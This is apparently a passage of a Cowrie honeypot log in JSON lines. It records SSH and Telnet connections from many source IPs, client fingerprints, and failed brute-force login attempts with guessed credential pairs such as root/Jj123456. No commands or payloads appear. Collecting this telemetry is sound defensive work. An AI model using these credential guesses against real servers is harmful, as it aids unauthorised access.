{"eventid":"cowrie.session.closed","duration":41.58972096443176,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:11.717483Z","src_ip":"128.199.8.54","session":"c53f68974c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57316,"dst_ip":"159.203.135.109","dst_port":23,"session":"8667a476e91d","protocol":"telnet","message":"New connection: 172.81.62.90:57316 (159.203.135.109:23) [session: 8667a476e91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:23.678993Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":45070,"dst_ip":"10.17.0.5","dst_port":23,"session":"2662f63823a7","protocol":"telnet","message":"New connection: 94.23.66.112:45070 (10.17.0.5:23) [session: 2662f63823a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:30.230893Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48480,"dst_ip":"159.203.135.109","dst_port":23,"session":"79f4c6a052e8","protocol":"telnet","message":"New connection: 172.81.62.90:48480 (159.203.135.109:23) [session: 79f4c6a052e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:40.866608Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":39498,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd95dab41f07","protocol":"ssh","message":"New connection: 160.251.185.39:39498 (10.17.0.5:22) [session: cd95dab41f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:41.678307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:41.682740Z","src_ip":"160.251.185.39","session":"cd95dab41f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:41.851927Z","src_ip":"160.251.185.39","session":"cd95dab41f07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aryan","password":"aryan","message":"login attempt [aryan/aryan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:42.586736Z","src_ip":"160.251.185.39","session":"cd95dab41f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:43.758564Z","src_ip":"160.251.185.39","session":"cd95dab41f07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45909118652344,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:59.137957Z","src_ip":"172.81.62.90","session":"8667a476e91d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45684,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aaaa7f93d7f","protocol":"telnet","message":"New connection: 172.81.62.90:45684 (159.203.135.109:23) [session: 2aaaa7f93d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:13.194691Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":37002,"dst_ip":"10.17.0.5","dst_port":22,"session":"76d247705f20","protocol":"ssh","message":"New connection: 5.89.75.194:37002 (10.17.0.5:22) [session: 76d247705f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:18.933009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:18.937145Z","src_ip":"5.89.75.194","session":"76d247705f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:19.041270Z","src_ip":"5.89.75.194","session":"76d247705f20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123@@@","message":"login attempt [root/qaz123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:19.484992Z","src_ip":"5.89.75.194","session":"76d247705f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.827510595321655,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:19.694010Z","src_ip":"172.81.62.90","session":"79f4c6a052e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:20.598589Z","src_ip":"5.89.75.194","session":"76d247705f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.696317195892334,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:31.927068Z","src_ip":"94.23.66.112","session":"2662f63823a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":51904,"dst_ip":"10.17.0.5","dst_port":22,"session":"158e2bad989b","protocol":"ssh","message":"New connection: 201.17.146.173:51904 (10.17.0.5:22) [session: 158e2bad989b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:47.741219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:47.745297Z","src_ip":"201.17.146.173","session":"158e2bad989b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:47.959882Z","src_ip":"201.17.146.173","session":"158e2bad989b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.2376651763916,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:48.432225Z","src_ip":"172.81.62.90","session":"2aaaa7f93d7f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"leadership","password":"leadership123","message":"login attempt [leadership/leadership123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:48.562100Z","src_ip":"201.17.146.173","session":"158e2bad989b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:53:49.700992Z","src_ip":"201.17.146.173","session":"158e2bad989b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":36262,"dst_ip":"10.17.0.5","dst_port":22,"session":"af319da2de02","protocol":"ssh","message":"New connection: 76.79.213.69:36262 (10.17.0.5:22) [session: af319da2de02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:00.323926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:00.328866Z","src_ip":"76.79.213.69","session":"af319da2de02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:00.450873Z","src_ip":"76.79.213.69","session":"af319da2de02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bala","password":"bala@123","message":"login attempt [bala/bala@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:00.973349Z","src_ip":"76.79.213.69","session":"af319da2de02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:02.098625Z","src_ip":"76.79.213.69","session":"af319da2de02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":57238,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ed1e6280351","protocol":"ssh","message":"New connection: 103.153.68.219:57238 (10.17.0.5:22) [session: 8ed1e6280351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:26.157125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:26.161903Z","src_ip":"103.153.68.219","session":"8ed1e6280351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:26.418208Z","src_ip":"103.153.68.219","session":"8ed1e6280351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slava12345","message":"login attempt [root/slava12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:27.188737Z","src_ip":"103.153.68.219","session":"8ed1e6280351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":36926,"dst_ip":"10.17.0.5","dst_port":22,"session":"96e5c1df662d","protocol":"ssh","message":"New connection: 14.63.196.175:36926 (10.17.0.5:22) [session: 96e5c1df662d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:27.421917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:27.440445Z","src_ip":"14.63.196.175","session":"96e5c1df662d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:27.646691Z","src_ip":"14.63.196.175","session":"96e5c1df662d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:28.447546Z","src_ip":"103.153.68.219","session":"8ed1e6280351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jj123456","message":"login attempt [root/Jj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:28.510077Z","src_ip":"14.63.196.175","session":"96e5c1df662d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:29.719239Z","src_ip":"14.63.196.175","session":"96e5c1df662d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":42664,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97c4ae3c7b9","protocol":"telnet","message":"New connection: 94.23.66.112:42664 (10.17.0.5:23) [session: c97c4ae3c7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:31.839008Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":54616,"dst_ip":"10.17.0.5","dst_port":22,"session":"66c3203653c5","protocol":"ssh","message":"New connection: 160.251.185.39:54616 (10.17.0.5:22) [session: 66c3203653c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:38.335180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:38.339481Z","src_ip":"160.251.185.39","session":"66c3203653c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:38.529456Z","src_ip":"160.251.185.39","session":"66c3203653c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"unidata","password":"unidata","message":"login attempt [unidata/unidata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:39.292264Z","src_ip":"160.251.185.39","session":"66c3203653c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:54:40.586717Z","src_ip":"160.251.185.39","session":"66c3203653c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39122,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe41a6e2ee37","protocol":"telnet","message":"New connection: 172.81.62.90:39122 (159.203.135.109:23) [session: fe41a6e2ee37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:08.400007Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":47732,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6326da4d252","protocol":"ssh","message":"New connection: 5.89.75.194:47732 (10.17.0.5:22) [session: b6326da4d252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:20.417331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:55:20.421338Z","src_ip":"5.89.75.194","session":"b6326da4d252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","e